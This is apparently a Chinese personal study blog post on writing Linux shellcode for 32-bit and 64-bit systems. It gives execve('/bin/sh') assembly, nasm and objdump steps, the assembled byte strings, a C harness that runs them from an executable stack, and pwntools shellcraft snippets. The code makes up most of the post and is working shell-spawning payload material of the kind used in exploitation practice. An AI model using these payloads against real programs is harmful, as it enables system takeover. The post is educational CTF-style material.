shellcode编写

2022/8/4

​ 不得不说,经过DataCon前两天的培训,感觉我又行了/╲/( •̀ ω •́ )/\╱\

32位shellcode编写

参考链接(32位):shellcode编写32位(Linux)_helloworddm的博客-CSDN博客_linux shellcode

汇编器安装:汇编笔记 | xiaoxiaoxy (xiaoxiaoxy1.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 32位shellcode编写
1、手写C代码
详见参考链接(32位)

2、静态编译,防止调用动态链接,在程序中保留系统调用代码
$ gcc -static -o <可执行文件名> <文件名>.c -32

3、gdb <可执行文件名> 查看汇编代码

4、汇编代码写至<文件名>.asm文件。下面是execve("/bin/sh",buf,0);的大致汇编
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80h

5、nasm编译.asm文件
$ nasm -f elf32 -o hello.o <文件名>.asm
$ ld -m elf_i386 -o hello hello.o
$ objdump -d hello
注:汇编器的安装详见汇编器安装链接,上方↑

6、排列好shellcode,排列方式如后图图1
个人在ubuntu20.04排列的一条32位shellcode:
"\x31\xC9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68" +
"\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
组合如下:
"\x31\xC9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

7、写好用作测试的C文件
void main(){
char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
}

8、编译执行C文件
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -m32
$ ./shellcode
其中 -z execstack 指开启可执行栈

# ubuntu20.04亲测能成,详见图2
# 注:shellcode中不能存在\x00,否则会被判定为NULL,而数组用NULL作为终止符

图1:

image-20220804204507685

图2:

image-20220804210252764

pwntools默认生成shellcode

1
2
3
4
5
6
7
8
9
10
# 默认生成 如图3
# 32位
from pwn import *
context.arch = 'i386'
shellcode = asm(shellcraft.sh())

# 64位
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

图3:

image-20220804230850082

64位shellcode编写

参考链接(64位):64位shellcode编写 | nuoye’s blog (nuoye-blog.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 64位shellcode编写
1、编写
from pwn import *
context.arch = 'amd64'
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)
print(shellcode)

# 注:详细&拓展请看参考链接(64位)
# 注:当然,利用参考链接(32位)的方法也可以写64位shellcod,只不过有些参数得修改一下,这里就不做列出(因为我自己也懒的搞 (๑´∀`๑) )

图4:

image-20220804232211941